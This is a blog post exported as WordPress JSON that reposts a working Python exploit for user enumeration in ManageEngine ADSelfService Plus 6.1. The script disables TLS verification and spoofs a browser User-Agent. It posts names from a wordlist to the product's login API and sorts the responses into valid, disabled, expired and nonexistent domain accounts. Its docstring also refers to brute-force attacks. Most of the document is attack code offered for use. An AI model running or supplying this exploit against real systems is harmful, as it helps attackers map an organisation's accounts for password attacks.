# Exploit Title: ManageEngine ADSelfService Plus 6.1 – User Enumeration
\n# Exploit Author: Metin Yunus Kandemir
\n# Vendor Homepage: https:\/\/www.manageengine.com\/
\n# Software Link: https:\/\/www.manageengine.com\/products\/self-service-password\/download.html
\n# Version: ADSelfService 6.1 Build 6121
\n# Tested Against: Build 6118 – 6121
\n# Details: https:\/\/github.com\/passtheticket\/vulnerability-research\/blob\/main\/manage-engine-apps\/adselfservice-userenum.md<\/p>\n
# !\/usr\/bin\/python3
\nimport requests
\nimport sys
\nimport time
\nimport urllib3
\nfrom urllib3.exceptions import InsecureRequestWarning<\/p>\n
“””
\nThe domain users can be enumerated like userenum module of the kerbrute tool using this exploit.
\nIf you conducted a brute-force attack against a user, please run the script after 30 minutes (default settings) otherwise the results can be false positive.
\n“””<\/p>\n
def request(target, user):
\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
\nurl = target + ‘ServletAPI\/accounts\/login’
\ndata = {“loginName”: user}
\nheaders = {“User-Agent”: “Mozilla\/5.0 (Windows NT 10.0; rv:78.0) Gecko\/20100101 Firefox\/78.0”}
\nreq = requests.post(url, data=data, headers=headers, verify=False)<\/p>\n
# For debugging
\n# print(“[*] Response for ” + user + “: ” + req.text.strip())
\nif ‘PASSWORD’ in req.text:
\nprint(“[+] ” + user + ” is VALID!”)
\nelif ‘Your account has been disabled’ in req.text:
\nprint(“[+] ” + user + ” account has been DISABLED.”)
\nelif ‘Your account has expired’ in req.text:
\nprint(“[+] ” + user + ” account has EXPIRED.”)
\nelif ‘Enter the text as shown in the image.’ in req.text:
\nprint(“[!] The exploit doesn’t detect expired and disabled users. Please, run it after the 30 minutes. “)
\nelif ‘Permission Denied.’ in req.text:
\nprint(“[-] ” + user + ” is not found.”)<\/p>\n
def get_users(target, file):
\ntry:
\nfile = open(file, “r”)
\nfor line in file:
\nline = line.strip()
\ntime.sleep(0.5)
\nrequest(target, user=line)
\nexcept FileNotFoundError:
\nprint(“[-] File not found!”)
\nsys.exit(1)<\/p>\n
def main(args):
\nif len(args) != 3:
\nprint(“[*] Usage: %s url usernames_file” % (args[0]))
\nprint(“[*] Example: %s https:\/\/target\/ \/tmp\/usernames.txt” % (args[0]))
\nsys.exit(1)
\nget_users(target=args[1], file=args[2])<\/p>\n
if __name__ == “__main__”:
\nmain(args=sys.argv)<\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: ManageEngine ADSelfService Plus 6.1 – User Enumeration # Exploit Author: Metin Yunus Kandemir # Vendor Homepage: https:\/\/www.manageengine.com\/ # Software Link: https:\/\/www.manageengine.com\/products\/self-service-password\/download.html # Version: ADSelfService 6.1 Build 6121 # Tested Against: Build 6118 – 6121 # Details: https:\/\/github.com\/passtheticket\/vulnerability-research\/blob\/main\/manage-engine-apps\/adselfservice-userenum.md # !\/usr\/bin\/python3 import requests import sys import time import urllib3 from urllib3.exceptions import InsecureRequestWarning “”” …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-23383","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/23383","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=23383"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/23383\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=23383"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=23383"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=23383"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}